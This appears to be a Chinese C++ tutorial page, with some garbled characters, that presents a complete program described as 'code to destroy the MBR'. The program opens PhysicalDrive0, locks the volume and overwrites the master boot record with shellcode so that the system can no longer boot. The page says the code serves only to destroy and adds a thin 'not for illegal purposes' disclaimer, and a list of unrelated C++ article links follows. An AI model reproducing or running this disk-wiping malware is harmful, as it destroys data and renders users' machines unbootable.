C++破壞MBR的代碼
本文實(shí)例講述了C++破壞MBR的代碼,該源碼只有破壞作用,使系統(tǒng)無法進(jìn)入。僅供大家參考借鑒之用。請(qǐng)勿用于非法目的。
源碼來源于網(wǎng)上。具體代碼如下:
#include <stdio.h>
//shellcode隨便寫了點(diǎn) 能破壞MBR,無法進(jìn)入系統(tǒng)
unsigned char scode[]=
"\xb8\x12\x00"
"\xcd\x10\xbd"
"\x18\x7c\xb9";
DWORD writeMBR()
{
DWORD dwBytesReturned;
BYTE pMBR[512]={0};
//將破壞代碼寫入變量pMBR
memcpy(pMBR, scode, sizeof(scode));
pMBR[510]=0x55;
pMBR[511]=0xaa;
//打開物理磁盤
HANDLE hDevice = CreateFile("\\\\.\\PhysicalDrive0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
printf("createfile failed...");
return -1;
}
//鎖定卷,使用FSCTL_LOCK_VOLUME時(shí),以下有幾個(gè)參數(shù)設(shè)為NULL,0;
/*Parameters
hDevice
A handle to the volume to be locked. To retrieve a device handle, call the CreateFile function.
dwIoControlCode
The control code for the operation. Use FSCTL_LOCK_VOLUME for this operation.
lpInBuffer
Not used with this operation; set to NULL.
nInBufferSize
Not used with this operation; set to zero.
lpOutBuffer
Not used with this operation; set to NULL.
nOutBufferSize
Not used with this operation; set to zero.
lpBytesReturned
A pointer to a variable that receives the size of the data stored in the output buffer, in bytes. */
DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
//寫入磁盤文件
WriteFile(hDevice, pMBR, 512, &dwBytesReturned, NULL);
DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
return 0;
}
int main(int argc, char* argv[])
{
writeMBR();
return 0;
}
希望本文所述對(duì)大家的C++程序設(shè)計(jì)有所幫助。
- C++動(dòng)態(tài)數(shù)組類的封裝實(shí)例
- C++內(nèi)核對(duì)象封裝單實(shí)例啟動(dòng)程序的類
- C++實(shí)現(xiàn)圖形界面時(shí)鐘表盤代碼
- C++畫正弦線實(shí)例代碼
- C++實(shí)現(xiàn)查殼程序代碼實(shí)例
- C++實(shí)現(xiàn)下載的代碼
- 貪吃蛇游戲C++命令行版實(shí)例代碼
- C++實(shí)現(xiàn)讀取特定路徑下文件夾及文件名的方法
- VC++角色游戲中的人物初始化模塊代碼實(shí)例
- VC++基于Dx實(shí)現(xiàn)的截圖程序示例代碼
- VC++簡(jiǎn)單實(shí)現(xiàn)關(guān)機(jī)、重啟計(jì)算機(jī)實(shí)例代碼
- C++選擇文件夾代碼的封裝
相關(guān)文章
ubuntu系統(tǒng)vscodeC++編譯環(huán)境配置與使用方式
這篇文章主要介紹了ubuntu系統(tǒng)vscodeC++編譯環(huán)境配置與使用方式,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教2022-12-12C/C++中的sizeof運(yùn)算符和size_t類型的詳解
今天小編就為大家分享一篇關(guān)于C/C++中的sizeof運(yùn)算符和size_t類型的詳解,小編覺得內(nèi)容挺不錯(cuò)的,現(xiàn)在分享給大家,具有很好的參考價(jià)值,需要的朋友一起跟隨小編來看看吧2018-10-10C++11系列學(xué)習(xí)之可調(diào)用對(duì)象包裝器和綁定器
這篇文章主要介紹了C++11系列學(xué)習(xí)之可調(diào)用對(duì)象包裝器和綁定器,下文基于C++的相關(guān)資料展開詳細(xì)內(nèi)容介紹,具有一定的參考價(jià)值,需要的小伙伴可以參考一下2022-04-04關(guān)于C++靜態(tài)成員函數(shù)訪問非靜態(tài)成員變量的問題
靜態(tài)成員函數(shù)不能訪問非靜態(tài)成員,這是因?yàn)殪o態(tài)函數(shù)屬于類而不是屬于整個(gè)對(duì)象,靜態(tài)函數(shù)中的 member可能都沒有分配內(nèi)存。靜態(tài)成員函數(shù)沒有隱含的this自變量。所以,它就無法訪問自己類的非靜態(tài)成員2013-10-10C語(yǔ)言中讀寫交替時(shí)出現(xiàn)的問題分析
讀寫命令交替,一定要使用fseek重新定位,否則出現(xiàn)輸入顯示混亂,這篇文章主要介紹了C語(yǔ)言中讀寫交替時(shí)出現(xiàn)的問題分析,需要的朋友可以參考下2022-12-12VS報(bào)錯(cuò)C6011的問題:取消對(duì)NULL指針的引用(解決方法)
這篇文章主要介紹了VS報(bào)錯(cuò)C6011的問題:取消對(duì)NULL指針的引用(解決方法),C6011:取消對(duì)NULL指針的引用,發(fā)現(xiàn)是沒有進(jìn)行空指針的判斷,解決方案跟隨小編一起看看吧2024-01-01